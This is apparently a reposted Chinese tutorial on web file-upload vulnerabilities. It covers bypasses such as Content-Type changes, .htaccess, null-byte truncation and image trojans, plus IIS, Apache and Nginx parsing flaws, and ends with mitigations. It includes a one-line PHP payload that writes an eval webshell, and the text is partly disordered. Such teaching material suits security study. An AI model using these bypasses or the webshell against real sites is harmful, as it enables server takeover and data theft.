web渗透之文件上传漏洞(web渗透违法吗)

推荐整理分享web渗透之文件上传漏洞(web渗透违法吗)，希望有所帮助，仅作参考，欢迎阅读内容。

文章相关热门搜索词:web渗透有什么用,web渗透是干嘛的,web渗透违法吗,web渗透文件上传,web渗透啥意思,web渗透违法吗,最新web渗透教程,最新web渗透教程,内容如对您有帮助，希望把文章链接给更多的朋友！

文件上传漏洞可以说是日常渗透测试中用得最多的一个漏洞，用它获得服务器权限最快最直接。在Web程序中，经常需要用到文件上传的功能。如用户或者管理员上传图片，或者其它文件。如果没有限制上传类型或者限制不严格被绕过，就有可能造成文件上传漏洞。如果上传了可执行文件或者网页脚本，就会导致网站被控制甚至服务器沦陷。，复杂一点的情况是配合 Web Server的解析漏洞来获取控制权或结合文件包含漏洞。

1、一句话木马能够被正常执行

2、能找到上传后的路径

3、可能会有上传文件的策略，比如（上传后修改文件名）针对于这种情况，那么就要来找文件名

1、注册/修改个人信息处（如：上传头像等等） 2、敏感身份认证处（如：上传身份证图片/银行卡/个人图片等等） 3、订单评价处（如：上传商品照片等） 4、朋友圈/空间（如上传照片处） 5、所有能上传文件的操作处

1、查看/上传/下载对方文件（可以任意的操控对方服务器） 2、查看数据库信息（拖库） 3、可以执行系统命令 4、挂黑页 5、一句话就是想干嘛干嘛

(1)、删除js函数

(2)、或者禁用js

主要是改请求头上的Content-Type值

附赠文件后缀表一张

.php4、.php5等

.htaccess 通过apache配置文件把jpg后缀解析成php代码 AddType application/x-httpd-php .jpg

::data就是利用windows下的NTFS文件系统的一个特性，当我们访问a.php::data 就是利用windows下的NTFS文件系统的一个特性，当我们访问a.php::data就是利用windows下的NTFS文件系统的一个特性，当我们访问a.php::data 就相当于请求a.php

这种就是只过滤一遍的情况下

这种情况下一定要是删除php后缀的前提，不然就不能使用

原理

0x00是字符串的结束标识符，攻击者可以利用手动添加标识符的方式来将后面的内容进行截断，而后面的内容可以帮助我们绕过检测

条件：

php版本<5.3 php.ini这个配置文件magic_quotes_gpc必须为off才有用 上传路径可控的情况下

条件：

必须要有解析漏洞或者文件包含漏洞才能解析图片里面的php代码

制作木马的两种方式

1、copy 图片名字 /b + 脚本名字 /a 生成后的名字 2、把图片以记事本打开。保留前三行其他的全部删除。在最后加上木马即可。

二次渲染

如果上传上去的图片被改变过，那么把改变后的图片下载下来进行对比，在没有改动过的地方进行添加一句话木马操作

是一种服务端的漏洞。在代码层面执行的操作顺序设计不合理。造成的问题。

使用iis5.x-6.x版本的服务器，大多为windows server 2003，网站比较古老，开发语句一般为asp；该解析漏洞也只能解析asp文件，而不能解析aspx文件。

目录解析(6.0)

形式：www.xxx.com/xx.asp/xx.jpg

原理: 服务器默认会把.asp，.asa目录下的文件都解析成asp文件。

漏洞原理

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把oldboy.php.owf.rar解析成php。

漏洞形式

其余配置问题导致漏洞

（1）如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。

（2）如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg，一样能以 php 方式执行。

漏洞原理 　　 Nginx默认是以CGI的方式支持PHP解析的，普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时，$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”，然后构造成SCRIPT_FILENAME传递给PHP CGI，但是PHP为什么会接受这样的参数，并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项，那么就会触发在PHP中的如下逻辑： PHP会认为SCRIPT_FILENAME是phpinfo.jpg，而1.php是PATH_INFO，所以就会将phpinfo.jpg作为PHP文件来解析了 漏洞形式 www.xxxx.com/UploadFiles/image/1.jpg/1.php www.xxxx.com/UploadFiles/image/1.jpg%00.php www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞) 另外一种手法：上传一个名字为test.jpg，以下内容的文件。

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

tomcat

1、对于上传的文件，验证程序要做严格验证，使用服务器端校验，而不能仅用前端javascript验证。

（1）.建议严格限制上传文件类型和上传文件名及后缀。

（2）.检查文件头和文件内容，对上传文件目录的运行权限进行严格限制。

（3）.及时排查、删除服务器木马文件。

(4).上传文件的存储目录禁用执行权限

(5).文件的后缀白名单，注意0x00截断攻击

(6).不能有本地文件包含漏洞

(7).及时修复web上的代码

(8).升级web server

(9).后端验证：采用服务端验证模式

(10).后缀验证：基于白名单，黑名单过滤

(11).MIME验证：基于上传自带类型艰检测

(12).内容检测：文件头，完整性检测

(13).自带函数过滤

(14).WAF防护软件：宝塔、云盾等

2、文件解析 形式：

原理：

服务器默认不解析;号后面的内容，因此xx.asp;.jpg便被解析成asp文件了。

解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种 :

/test.asa

/test.cer

/test.cdx

修复方案

(1).目前尚无微软官方的补丁，可以通过自己编写正则，阻止上传xx.asp;.jpg类型的文件名。

(2).做好权限设置，限制用户创建文件夹。

利用编辑器的任意文件上传漏洞

比如 fckeditor任意文件上传漏洞

简介

解析漏洞是指服务器应用程序在解析某些精心构造的后缀文件时，会将其解析成网页脚本，从而导致网站的沦陷。大部分解析漏洞的产生都是由应用程序本身的漏洞导致的。 此类漏洞中具有代表性的便是IIS6.0解析漏洞，此漏洞又有目录解析和文件解析两种利用方式，但也有少部分是由于配置的疏忽所产生的，如Nginx < 8.03的畸形解析漏洞。

1、IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞

IIS 7.0/IIS 7.5/ Nginx<8.03在Fast-CGI运行模式下，在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php 文件。在某些使用有漏洞的网站中，访/1.php，此时的1.jpg会被当作PHP脚本来解析,此时1.php是不存在的。 这就意味着攻击者可以上传合法的“图片”（图片木马）然后在URL后面加上“/xxx.php”，就可以获得网站的WebShell，在使用菜刀链接即可。 1.jpg/1.php

2、IIS7.5解析漏洞

IIS7.5的漏洞与nginx的类似，都是由于php配置文件中，开启了cgi.fix_pathinfo，而这并不是nginx或者iis7.5本身的漏洞。

制作不易，希望能给各位技术友和新入门的同学带来帮助